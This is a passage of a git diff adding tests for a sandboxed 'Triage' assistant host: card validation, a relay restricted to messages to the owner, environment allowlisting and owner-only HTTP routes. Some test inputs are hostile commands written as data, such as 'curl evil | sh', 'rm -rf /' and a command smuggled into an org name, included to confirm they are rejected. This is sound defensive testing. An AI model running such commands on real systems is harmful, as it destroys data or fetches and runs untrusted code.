"node:test"; +import assert from "node:assert/strict"; +import { CARD_STEPS, MAX_CARDS, extractCards, validateCard, plainText } from "../src/triage-cards.mjs"; + +const orgs = new Set(["alpha", "beta"]); +const fence = (value) => "```cards\n" + (typeof value === "string" ? value : JSON.stringify(value)) + "\n```"; + +test("each known step renders its fixed command for a registered org", () => { + assert.deepEqual(Object.keys(CARD_STEPS), ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]); + assert.deepEqual(validateCard({ step: "bus-start", org: "alpha" }, orgs), { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }); + assert.equal(validateCard({ step: "bus-restart", org: "beta" }, orgs).command, "mosaic bus restart beta"); + assert.equal(validateCard({ step: "bus-recover", org: "beta" }, orgs).command, "mosaic bus recover beta"); + assert.equal(validateCard({ step: "bus-stop", org: "beta" }, orgs).command, "mosaic bus stop beta"); + assert.equal(validateCard({ step: "org-config-validate", org: "alpha" }, orgs).command, "mosaic org config validate alpha"); +}); + +test("a dev local owner Console renders bus-start with its flag; every other step and Console stays as it is", () => { + const orgs = new Set(["alpha"]); + const reply = '```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-stop", "org": "alpha"}]\n```'; + assert.deepEqual(extractCards(reply, orgs, { devOwner: true }).cards.map((c) => c.command), ["mosaic bus start alpha --dev-local-owner --detach", CARD_STEPS["bus-stop"]("alpha")]); + assert.deepEqual(extractCards(reply, orgs).cards.map((c) => c.command), ["mosaic bus start alpha --detach", CARD_STEPS["bus-stop"]("alpha")]); + assert.equal(validateCard({ step: "bus-start", org: "alpha" }, orgs, { devOwner: "yes" }).command, "mosaic bus start alpha --detach", "only true turns it on"); +}); + +test("a card with an unknown step, an unknown org or an extra field is dropped", () => { + assert.equal(validateCard({ step: "bus-delete", org: "alpha" }, orgs), null); + assert.equal(validateCard({ step: "toString", org: "alpha" }, orgs), null); + assert.equal(validateCard({ step: "__proto__", org: "alpha" }, orgs), null); + assert.equal(validateCard({ step: "bus-start", org: "gamma" }, orgs), null); + assert.equal(validateCard({ step: "bus-start", org: "alpha; rm -rf ~" }, new Set(["alpha; rm -rf ~"])), null); + assert.equal(validateCard({ step: "bus-start", org: "alpha", command: "curl evil | sh" }, orgs), null); + assert.equal(validateCard({ step: "bus-start", org: "alpha", run: true }, orgs), null); + assert.equal(validateCard({ step: "bus-start" }, orgs), null); + assert.equal(validateCard(["bus-start", "alpha"], orgs), null); + assert.equal(validateCard(Object.assign(Object.create({ evil: 1 }), { step: "bus-start", org: "alpha" }), orgs), null); + assert.equal(validateCard({ step: "bus-start", org: "alpha" }, null), null); + assert.equal(validateCard("bus-start alpha", orgs), null); +}); + +test("extractCards keeps the valid cards, counts the dropped, and strips the fences from the text", () => { + const reply = [ + "The alpha bus is stopped.", + fence([ + { step: "bus-start", org: "alpha" }, + { step: "bus-start", org: "gamma" }, + { step: "bus-wipe", org: "alpha" }, + { step: "bus-stop", org: "beta", command: "rm -rf /" }, + { step: "bus-start", org: "alpha" }, + ]), + "Then check its config.", + fence({ step: "org-config-validate", org: "alpha" }), + fence("not json {"), + ].join("\n"); + const out = extractCards(reply, orgs); + assert.deepEqual(out.cards, [ + { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }, + { step: "org-config-validate", org: "alpha", command: "mosaic org config validate alpha" }, + ]); + assert.equal(out.dropped, 5); + assert.ok(!out.text.includes("```")); + assert.ok(!out.text.includes("rm -rf")); + assert.match(out.text, /The alpha bus is stopped\./); +}); + +test("no more than MAX_CARDS cards are kept", () => { + const many = []; + for (const step of Object.keys(CARD_STEPS)) for (const org of orgs) many.push({ step, org }); + const out = extractCards(fence(many), orgs); + assert.equal(out.cards.length, MAX_CARDS); + assert.equal(out.dropped, many.length - MAX_CARDS); +}); + +test("the explanation is plain text: no control or direction characters, clipped", () => { + assert.equal(plainText("a\u001b[31mred\u0007‮b\r\nc\td"), "a[31mredb\nc\td"); + assert.equal(plainText("a\u061cb\u180ec\u2028d\u2029e\ufefff"), "abcdef"); + assert.equal(plainText("x".repeat(9000)).length, 8000); + assert.equal(plainText(null), ""); + assert.deepEqual(extractCards(null, orgs), { text: "", cards: [], dropped: 0 }); +}); diff --git a/packages/webui/tests/triage-host.test.mjs b/packages/webui/tests/triage-host.test.mjs new file mode 100644 index 000000000..e6d607b9c --- /dev/null +++ b/packages/webui/tests/triage-host.test.mjs @@ -0,0 +1,372 @@ +// #1873 triage-host: the Triage session's host and its relay. The relay answers only a message to +// the person; the session sees its own run directory and the health snapshots and nothing else of +// the data root; its environment is a fixed list; nothing launches without a model route or over +// the cap. The session runs the stub adapter (tests/fixtures/triage-adapter.mjs); no model is called. +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { connect } from "node:net"; +import { existsSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, symlinkSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { Client } from "../../bus/src/client.mjs"; +import { sandboxProblem } from "../../seat/src/sandbox.mjs"; +import { + NOT_STARTED, NOT_TAKEN, RELAY_REFUSED, ROUTE_ENV_ALLOW, SPAWN_ENV_ALLOW, UNANSWERED, createRelay, createTriageHost, hostPrompt, triageEnv, +} from "../src/triage-host.mjs"; + +const FIXTURE = new URL("./fixtures/triage-adapter.mjs", import.meta.url).pathname; +const skip = sandboxProblem() ?? false; +const scratch = () => mkdtempSync(join(process.env.TMPDIR, "th-")); +const CAP = "a".repeat(64); +const SNAPSHOT = { + snapshotVersion: 1, at: "2026-11-16T12:00:00.000Z", console: { state: "answering", at: "2026-11-16T12:00:00.000Z" }, + proxy: "not read", systemConfig: { valid: true, exit: 0, code: null }, + organizations: { count: 1, list: [{ id: "alpha", bus: { state: "stopped", lastStart: null }, processing: "not read", config: { valid: true, exit: 0, code: null } }] }, +}; +// What the Console's own environment might hold: none of it but the allowed names may reach the session. +const CONSOLE_ENV = { + PATH: "/should/not/pass", LANG: "C.UTF-8", TZ: "UTC", HOME: "/home/someone", MOSAIC_CONFIG: "/x/config.json", + MOSAIC_BUS_CONSOLE_SOCKET: "/x/bus.sock", MOSAIC_GITEA_CREDENTIAL_FILE: "/x/cred", GITEA_TOKEN: "t", SSH_AUTH_SOCK: "/x/agent", + ANTHROPIC_API_KEY: "from-the-console", XDG_CONFIG_HOME: "/x", MOSAIC_DATA_ROOT: "/x", +}; + +const raw = (socket, line) => new Promise((resolve, reject) => { + const c = connect(socket); + let input = ""; + c.on("connect", () => c.write(line + "\n")); + c.on("data", (b) => { input += b; }); + c.on("end", () => resolve(JSON.parse(input))); + c.on("error", reject); +}); + +test("triageEnv keeps the fixed names and the route's proxy variables, and nothing else", () => { + const env = triageEnv(CONSOLE_ENV, { ANTHROPIC_BASE_URL: "http://127.0.0.1:1", ANTHROPIC_AUTH_TOKEN: "k", MOSAIC_CONFIG: "/y", OTHER: "z" }, { node: "/opt/node/bin/node" }); + assert.deepEqual(Object.keys(env).sort(), ["ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_BASE_URL", "LANG", "PATH", "TZ"]); + assert.equal(env.PATH, "/opt/node/bin:/usr/bin:/bin"); + assert.deepEqual(SPAWN_ENV_ALLOW, ["PATH", "LANG", "LC_ALL", "TZ", "TERM"]); + assert.deepEqual(ROUTE_ENV_ALLOW, ["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]); + assert.equal(triageEnv(CONSOLE_ENV, { ANTHROPIC_API_KEY: "from-the-route" }).ANTHROPIC_API_KEY, undefined, "the session gets no key, only the proxy's token"); + assert.equal(triageEnv(CONSOLE_ENV).ANTHROPIC_API_KEY, undefined, "a key in the Console's environment is not the route's"); +}); + +test("the relay refuses every verb but a message to the person, and any call without the capability", async (t) => { + const dir = scratch(); + const socket = join(dir, "relay.sock"); + const sent = []; + const queue = [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]; + const read = []; + const server = await createRelay({ socket, cap: CAP, take: () => queue.splice(0), read: (id) => read.push(id), onSend: (m) => sent.push(m) }); + t.after(() => server.close()); + const client = new Client({ path: socket, cap: CAP }); + assert.deepEqual(await client.call("role.claim"), { library: false }); + assert.deepEqual(await client.call("processing.status"), { halted: false, invalid: false }); + assert.deepEqual((await client.call("state")).tasks, { open: [], total: 0, cap: 0 }); + assert.deepEqual(await client.call("message.receive"), [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]); + assert.match((await client.call("message.send", { to: "human", body: "answer", class: "RESULT", in_reply_to: "owner-0123456789ab" })).id, /^triage-/); + await client.call("message.read", { id: "owner-0123456789ab" }); + assert.deepEqual(sent, [{ body: "answer", in_reply_to: "owner-0123456789ab" }]); + assert.deepEqual(read, ["owner-0123456789ab"]); + // The model writes in_reply_to. Anything but an id the host issued is dropped, never stored. + for (const bad of ["", "owner-1", "owner-0123456789ab\u202e", "owner-0123456789abc", "x".repeat(60000)]) { + sent.length = 0; + await client.call("message.send", { to: "human", body: "b", in_reply_to: bad }); + assert.deepEqual(sent, [{ body: "b", in_reply_to: null }], bad.slice(0, 24)); + } + const refused = [ + ["decision.raise", { kind: "hire", body: "x" }], ["event.emit", { kind: "action.allowed", body: {} }], + ["message.send", { to: "chief", body: "x", class: "INFO" }], ["message.send", { to: "pm", body: "x" }], + ["message.send", { to: "human" }], ["task.create", { title: "x" }], ["launch", { instance: "chief" }], + ["plugin.tool", {}], ["toString", {}], ["__proto__", {}], ["constructor", {}], + ]; + for (const [verb, args] of refused) { + await assert.rejects(client.call(verb, args), (e) => e.code === RELAY_REFUSED, verb); + } + await assert.rejects(new Client({ path: socket, cap: "b".repeat(64) }).call("message.send", { to: "human", body: "x" }), (e) => e.code === RELAY_REFUSED); + await assert.rejects(new Client({ path: socket, human: "jason" }).call("message.receive"), (e) => e.code === RELAY_REFUSED); + assert.deepEqual(await raw(socket, "not json"), { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" }); + assert.equal((await raw(socket, JSON.stringify({ cap: CAP.toUpperCase(), verb: "role.claim" }))).error, RELAY_REFUSED); + assert.equal(sent.length, 1, "no refused call reached the transcript"); + assert.equal(lstatSync(socket).mode & 0o777, 0o600); +}); + +test("the prompt names the snapshot inside the session and the card form, after the role's contract", () => { + const text = hostPrompt("# Triage\n\nContract.\n", { snapshotPath: "/r/work/health/snapshot.json", steps: ["bus-start"] }); + assert.match(text, /^# Triage\n\nContract\.\n\n## This host/); + assert.match(text, /\/r\/work\/health\/snapshot\.json/); + assert.match(text, /```cards\n\[\{"step": "bus-start", "org": "alpha"\}\]\n```/); +}); + +function host(t, root, opts = {}) { + const dataRoot = join(root, "data"); + const h = createTriageHost({ dataRoot, readSnapshot: async () => SNAPSHOT, env: CONSOLE_ENV, readOnly: [FIXTURE], pollInterval: 100, ...opts }); + t.after(() => h.stop()); + return { h, dataRoot }; +} + +test("no model route: nothing launches, the message is refused, and the state says the route is not set", async (t) => { + const { h, dataRoot } = host(t, scratch()); + assert.equal((await h.state()).route, "not set"); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route" && /no model route is set/.test(e.message)); + assert.equal(h.running, false); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + assert.deepEqual((await h.state()).transcript, []); +}); + +test("over the cap: the message is refused until the next day and nothing launches", async (t) => { + let clock = Date.parse("2026-11-16T15:00:00.000Z"), asked = 0, answer = { ok: false, code: "triage-over-cap", until: "2026-11-17T00:00:00.000Z" }; + const route = { admit: async () => { asked++; return answer; } }; + const { h, dataRoot } = host(t, scratch(), { route, now: () => new Date(clock) }); + assert.equal((await h.state()).route, "set"); + assert.equal((await h.state()).overCapUntil, null); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z"); + assert.equal(h.running, false); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + assert.equal((await h.state()).overCapUntil, "2026-11-17T00:00:00.000Z"); + // Held: a later route answer cannot reopen the day; the route is not asked again before the time. + answer = { ok: false, code: "triage-no-route" }; + clock = Date.parse("2026-11-16T23:59:59.000Z"); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z"); + assert.equal(asked, 1); + // At the time, the hold ends and the route is asked again. + clock = Date.parse("2026-11-17T00:00:00.000Z"); + assert.equal((await h.state()).overCapUntil, null); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route"); + assert.equal(asked, 2); + assert.deepEqual((await h.state()).transcript, [], "a refused message is never written"); + // An over-cap answer whose time is not usable (past, too far, not an ISO time) refuses without a hold. + for (const until of ["2026-11-17T00:00:00.000Z", "2026-11-20T00:00:00.000Z", "Tue, 17 Nov 2026 12:00:00 GMT", "tomorrow", 5]) { + let n = 0; + const r = { admit: async () => { n++; return { ok: false, code: "triage-over-cap", until }; } }; + const later = host(t, scratch(), { route: r, now: () => new Date("2026-11-17T01:00:00.000Z") }).h; + await assert.rejects(later.message("a"), (e) => e.code === "triage-over-cap" && e.until === undefined, String(until)); + await assert.rejects(later.message("b"), (e) => e.code === "triage-over-cap"); + assert.equal(n, 2, `${until}: not held`); + assert.equal((await later.state()).overCapUntil, null); + } + const odd = { admit: async () => ({ ok: false, code: "rm -rf", until: 5 }) }; + const other = host(t, scratch(), { route: odd }).h; + await assert.rejects(other.message("hello"), (e) => e.code === "triage-route-refused" && e.until === undefined); +}); + +test("a route whose answer carries a config, bus or founder variable is refused before anything starts", async (t) => { + for (const name of ["MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "GITEA_TOKEN", "SSH_AUTH_SOCK", "lower"]) { + const root = scratch(); + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, "exit 0\n"); + const route = { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: { [name]: "x" }, harnessMounts: [], turnEnd: "exit", model: "m", provider: "p", env: {} }) }; + const { h, dataRoot } = host(t, root, { route }); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-route-invalid", name); + assert.equal(h.running, false); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + // The owner's line is written before the start; the transcript then says it was not delivered. + const [owner, note, ...rest] = (await h.state()).transcript; + assert.deepEqual([owner.from, owner.text, note.from, note.in_reply_to, note.text, rest.length], ["owner", "hello", "host", owner.id, NOT_STARTED, 0], name); + } +}); + +test("a read and a message that arrive together share one snapshot read", async (t) => { + let reads = 0, release; + const gate = new Promise((r) => { release = r; }); + const { h } = host(t, scratch(), { readSnapshot: async () => { reads++; await gate; return SNAPSHOT; } }); + const both = Promise.all([h.refresh(), h.refresh()]); + release(); + const [a, b] = await both; + assert.equal(reads, 1); + assert.equal(a, b); + await h.refresh(); + assert.equal(reads, 2, "a later refresh reads again"); +}); + +test("a Triage directory that is a link is refused", async (t) => { + const root = scratch(); + const dataRoot = join(root, "data"); + mkdirSync(join(root, "elsewhere"), { recursive: true }); + mkdirSync(dataRoot); + symlinkSync(join(root, "elsewhere"), join(dataRoot, "triage")); + const route = { admit: async () => ({ ok: true }) }; + const { h } = host(t, root, { route }); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-dir-unsafe"); + assert.deepEqual(readdirSync(join(root, "elsewhere")), []); +}); + +async function waitFor(fn, ms = 30000) { + const end = Date.now() + ms; + while (Date.now() < end) { + const v = await fn(); + if (v) return v; + await new Promise((r) => setTimeout(r, 50)); + } + throw new Error("timed out"); +} + +test("end to end under the sandbox: the first message starts the session, which sees only its two directories and answers into the transcript", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const dataRoot = join(root, "data"); + // What the session must not see: an org root, a config, a secrets file, the host's transcript. + mkdirSync(join(dataRoot, "orgs", "alpha"), { recursive: true }); + writeFileSync(join(dataRoot, "orgs", "alpha", "org.json"), "{}"); + mkdirSync(join(root, "config")); + writeFileSync(join(root, "config", "config.json"), "{}"); + mkdirSync(join(root, "secrets")); + writeFileSync(join(root, "secrets", "token"), "secret"); + // A link left where the host makes its work directory must not steer the bind. + mkdirSync(join(dataRoot, "triage", "agent"), { recursive: true, mode: 0o700 }); + symlinkSync(join(dataRoot, "orgs"), join(dataRoot, "triage", "agent", "work")); + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 }); + const probe = [ + join(dataRoot, "orgs", "alpha", "org.json"), join(root, "config", "config.json"), join(root, "secrets", "token"), + join(dataRoot, "triage", "host", "transcript.jsonl"), join(dataRoot, "triage", "host"), + join(dataRoot, "triage", "health", "snapshot.json"), join(dataRoot, "triage", "agent", "work", "health", "snapshot.json"), + ]; + let admits = 0; + const route = { admit: async () => { admits += 1; return { ok: true, adapter, harness: "fake", harnessEnv: { TRIAGE_PROBE: JSON.stringify(probe) }, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", OTHER: "x" } }; } }; + const { h } = host(t, root, { route }); + assert.equal(h.running, false, "nothing starts before the owner's first message"); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + + const replies = async (n) => waitFor(async () => { + const list = (await h.state()).transcript.filter((e) => e.from === "triage"); + return list.length >= n ? list : null; + }); + + await h.message("PROBE"); + assert.equal(h.running, true); + const probed = JSON.parse((await replies(1))[0].text.replace(/\n\n.*$/s, "")); + const allowed = new Set([ + "PATH", "LANG", "TZ", "HOME", "TMPDIR", "ANTHROPIC_BASE_URL", "TRIAGE_PROBE", "PWD", "SHLVL", "_", "OLDPWD", + "MOSAIC_REQUEST", "MOSAIC_SYSTEM_PROMPT_FILE", "MOSAIC_WORKSPACE", "MOSAIC_SESSION_DIR", "MOSAIC_POLICY_FILE", "MOSAIC_TOOLS_FILE", + "MOSAIC_TOOL_SOCKET", "MOSAIC_TURN_MARKER", "MOSAIC_PROVIDER", "MOSAIC_MODEL", "MOSAIC_MODEL_ACTIVITY_DIR", "MOSAIC_UNSLOP_LOG", + ]); + for (const name of probed.env) assert.ok(allowed.has(name), `the session's environment holds ${name}`); + for (const name of ["MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "GITEA_TOKEN", "SSH_AUTH_SOCK", "ANTHROPIC_API_KEY", "OTHER", "MOSAIC_DATA_ROOT"]) assert.ok(!probed.env.includes(name), name); + assert.deepEqual(probed.seen, Object.fromEntries(probe.map((p) => [p, p.endsWith(join("work", "health", "snapshot.json"))]))); + assert.equal(probed.snapshot, 1); + assert.equal(probed.writeHealth, "EROFS"); + assert.equal(probed.writeBundle, "EROFS"); + assert.equal(probed.writeWork, "written"); + assert.deepEqual(readdirSync(join(dataRoot, "orgs")), ["alpha"], "the planted link's target is untouched"); + assert.equal(lstatSync(join(dataRoot, "triage", "agent", "work")).isDirectory(), true); + assert.deepEqual(readdirSync(join(dataRoot, "triage", "health")), ["snapshot.json"]); + + await h.message("CARDS"); + const cards = (await replies(2))[1]; + assert.deepEqual(cards.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }]); + assert.equal(cards.dropped, 1); + assert.match(cards.text, /^The alpha bus is stopped\./); + + await h.message("TOOL chief"); + assert.match((await replies(3))[2].text, new RegExp(RELAY_REFUSED)); + await h.message("TOOL human"); + const last = await replies(5); + const texts = last.slice(3).map((e) => e.text); + assert.ok(texts.includes("from the tool"), "the session's own send to the person reaches the transcript"); + assert.ok(texts.some((x) => /"ok":true/.test(x)), "and the tool call was answered"); + assert.equal(admits, 4, "each message is admitted by the route"); + + const tr = join(dataRoot, "triage", "host", "transcript.jsonl"); + assert.equal(lstatSync(tr).mode & 0o777, 0o600); + for (const d of ["", "health", "agent", "host"]) assert.equal(lstatSync(join(dataRoot, "triage", d)).mode & 0o777, 0o700, d); + const owner = readFileSync(tr, "utf8").trim().split("\n").map((l) => JSON.parse(l)).filter((e) => e.from === "owner").map((e) => e.text); + assert.deepEqual(owner, ["PROBE", "CARDS", "TOOL chief", "TOOL human"]); + const tools = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "tools.json"), "utf8")); + assert.deepEqual(tools.map((x) => x.name), ["send_message"]); + const policy = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "policy.json"), "utf8")); + assert.deepEqual([policy.tools, policy.typed, policy.network, policy.needs, policy.credentials], [["read", "grep", "find", "ls"], ["send_message"], "none", [], []]); + + await h.stop(); + assert.equal(h.running, false); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false); +}); + +// A route answer that runs the stub adapter under the sandbox. +function stubRoute(root) { + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 }); + return { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: {} }) }; +} +const repliesOf = (h, n, from = "triage") => waitFor(async () => { + const list = (await h.state()).transcript.filter((e) => e.from === from); + return list.length >= n ? list : null; +}); + +test("a second start on the same data root answers too: the last run's turns do not stop the next", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const route = stubRoute(root); + const first = host(t, root, { route }).h; + const one = await first.message("one"); + assert.deepEqual((await repliesOf(first, 1)).map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id]]); + await first.stop(); + assert.equal(first.running, false); + const { h: second, dataRoot } = host(t, root, { route }); + const two = await second.message("two"); + const list = await repliesOf(second, 2); + assert.deepEqual(list.map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id], ["echo: two", two.id]]); + assert.equal((await second.state()).transcript.filter((e) => e.from === "host").length, 0); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "turns")), true); +}); + +test("a session that ends mid-turn: the message it took is answered by the host, leaves the queue, and the next message is answered", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const { h, dataRoot } = host(t, root, { route: stubRoute(root) }); + const slept = await h.message("SLEEP"); + // The turn has started once the runner made its turns directory. + await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } }); + const pid = h.pid; + assert.ok(Number.isInteger(pid)); + process.kill(-pid, "SIGKILL"); + const [note] = await repliesOf(h, 1, "host"); + assert.deepEqual([note.in_reply_to, note.text], [slept.id, UNANSWERED]); + await waitFor(() => !h.running); + assert.equal((await h.state()).lastExit.signal, "SIGKILL"); + const next = await h.message("after"); + const [reply] = await repliesOf(h, 1); + assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["echo: after", next.id]); + assert.equal((await h.state()).transcript.filter((e) => e.from === "host").length, 1, "the killed message is answered once and not taken again"); +}); + +test("a launcher that cannot run is a failed start: the message is not delivered, nothing reports running, and the next message is refused the same way", async (t) => { + const root = scratch(); + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, "exit 0\n"); + const route = { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit", model: "m", provider: "p", env: {} }) }; + const { h, dataRoot } = host(t, root, { route, bwrap: join(root, "no-such-launcher") }); + for (const text of ["one", "two"]) { + await assert.rejects(h.message(text), (e) => e.code === "triage-start-failed", text); + assert.equal(h.running, false, text); + } + const lines = (await h.state()).transcript.map((e) => [e.from, e.text]); + assert.deepEqual(lines, [["owner", "one"], ["host", NOT_STARTED], ["owner", "two"], ["host", NOT_STARTED]]); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false); +}); + +test("a reply that names its message answers it: a session killed after replying leaves no unanswered line", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const { h } = host(t, root, { route: stubRoute(root) }); + const sent = await h.message("REPLY-SLEEP"); + const [reply] = await repliesOf(h, 1); + assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["answered early", sent.id]); + process.kill(-h.pid, "SIGKILL"); + await waitFor(() => !h.running); + assert.deepEqual((await h.state()).transcript.filter((e) => e.from === "host"), []); +}); + +test("a message the session never read gets a host line when it ends and leaves the queue", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const { h, dataRoot } = host(t, root, { route: stubRoute(root) }); + const slept = await h.message("SLEEP"); + await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } }); + // The runner takes one message per turn and is held in SLEEP, so this one is queued and never taken. + const waiting = await h.message("waiting"); + process.kill(-h.pid, "SIGKILL"); + await waitFor(() => !h.running); + const notes = (await repliesOf(h, 2, "host")).map((e) => [e.in_reply_to, e.text]).sort((a, b) => a[1].localeCompare(b[1])); + assert.deepEqual(notes, [[waiting.id, NOT_TAKEN], [slept.id, UNANSWERED]].sort((a, b) => a[1].localeCompare(b[1]))); +}); + +test("with devOwner set, a card's bus start carries the dev-owner flag", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const { h } = host(t, root, { route: stubRoute(root), devOwner: true }); + await h.message("CARDS"); + const [reply] = await repliesOf(h, 1); + assert.deepEqual(reply.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --dev-local-owner --detach" }]); +}); diff --git a/packages/webui/tests/triage-http.test.mjs b/packages/webui/tests/triage-http.test.mjs new file mode 100644 index 000000000..fff0bb4c8 --- /dev/null +++ b/packages/webui/tests/triage-http.test.mjs @@ -0,0 +1,262 @@ +// #1873 triage-host: the Triage routes over the real HTTP boundary. Only the instance owner's own +// session reaches them; every other caller gets exactly what an unknown route gives that caller. +// The write also needs --send and the same-origin checks. No body, path or exception text leaves. +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { request } from 'node:http'; +import { mkdtempSync, existsSync, readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { startServer } from '../src/serve.mjs'; +import { createDevOwner } from '../src/dev-owner.mjs'; +import { consoleAccess } from '../src/access.mjs'; +import { createSsoSession } from './helpers/sso-session.mjs'; +import { NO_ROUTE_MESSAGE, capMessage, triageView, triageHTTP, SNAPSHOT_MAX_AGE_MS } from '../src/triage-http.mjs'; +import { createTriageHost, TriageError } from '../src/triage-host.mjs'; + +const LEAK = '/home/owner/.config/mosaic-dev/secret-token-0123456789'; + +function fakeTriage({ message } = {}) { + const calls = []; + return { + calls, + snapshotAt: () => null, + refresh: async () => { calls.push(['refresh']); return null; }, + state: async () => ({ route: 'set', running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }] }), + message: async text => { calls.push(['message', text]); return message ? message(text) : { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' }; }, + }; +} + +const send = (port, path, { method = 'GET', headers = {}, body } = {}) => new Promise((resolve, reject) => { + const req = request({ host: '127.0.0.1', port, path, method, headers }, res => { + let text = ''; res.on('data', c => { text += c; }); res.on('end', () => resolve({ status: res.statusCode, text, json: (() => { try { return JSON.parse(text); } catch { return null; } })() })); + }); + req.on('error', reject); req.end(body === undefined ? undefined : typeof body === 'string' ? body : JSON.stringify(body)); +}); + +async function devServer(t, options = {}) { + const logs = []; + const s = await startServer({ port: 0, board: 'http://127.0.0.1:9', sso: createDevOwner(), send: async () => ({}), log: line => logs.push(line), ...options }); + t.after(() => new Promise(r => s.close(r))); + const port = s.address().port; + const headers = { host: `127.0.0.1:${port}`, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' }; + return { port, logs, headers }; +} + +// The same request on an unknown path next to the Triage one: status and body must match. +async function sameAsUnknown(port, path, method, headers, body, label) { + const unknown = path.replace('/api/triage', '/api/triagz'); + const [a, b] = [await send(port, path, { method, headers, body }), await send(port, unknown, { method, headers, body })]; + assert.equal(a.status, b.status, `${label} ${method} ${path}: status`); + assert.equal(a.text, b.text, `${label} ${method} ${path}: body`); +} +const EVERY = [['/api/triage', 'GET'], ['/api/triage', 'POST'], ['/api/triage/message', 'GET'], ['/api/triage/message', 'POST']]; + +test('the dev local owner reads the drawer state and sends a message; the config names the drawer', async t => { + const triage = fakeTriage(); + const f = await devServer(t, { triage }); + const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); + assert.equal(read.status, 200); + assert.deepEqual(read.json, { route: 'set', overCapUntil: null, running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }], send: true }); + const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'why is alpha down?' } }); + assert.equal(sent.status, 202); + assert.deepEqual(sent.json, { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' }); + assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), [['message', 'why is alpha down?']]); + const config = await send(f.port, '/api/config', { headers: { host: f.headers.host } }); + assert.equal(config.json.triage, true); + assert.equal(config.json.triageSend, true); + assert.equal(f.logs.join('\n').includes('why is alpha down'), false, 'no message text in a log line'); + for (const line of f.logs.filter(l => l.includes('/api/triage'))) assert.match(line, /^\S+ (GET|POST) \/api\/triage(\/message)? \d{3}$/); + // A wrong method on either route. + assert.equal((await send(f.port, '/api/triage', { method: 'POST', headers: f.headers, body: {} })).status, 405); + assert.equal((await send(f.port, '/api/triage/message', { headers: { host: f.headers.host } })).status, 405); +}); + +test('the write is refused without --send, from a foreign Origin, and without same-origin Fetch Metadata', async t => { + const triage = fakeTriage(); + const readOnly = await devServer(t, { triage, send: null }); + const r = await send(readOnly.port, '/api/triage/message', { method: 'POST', headers: readOnly.headers, body: { text: 'hi' } }); + assert.equal(r.status, 403); 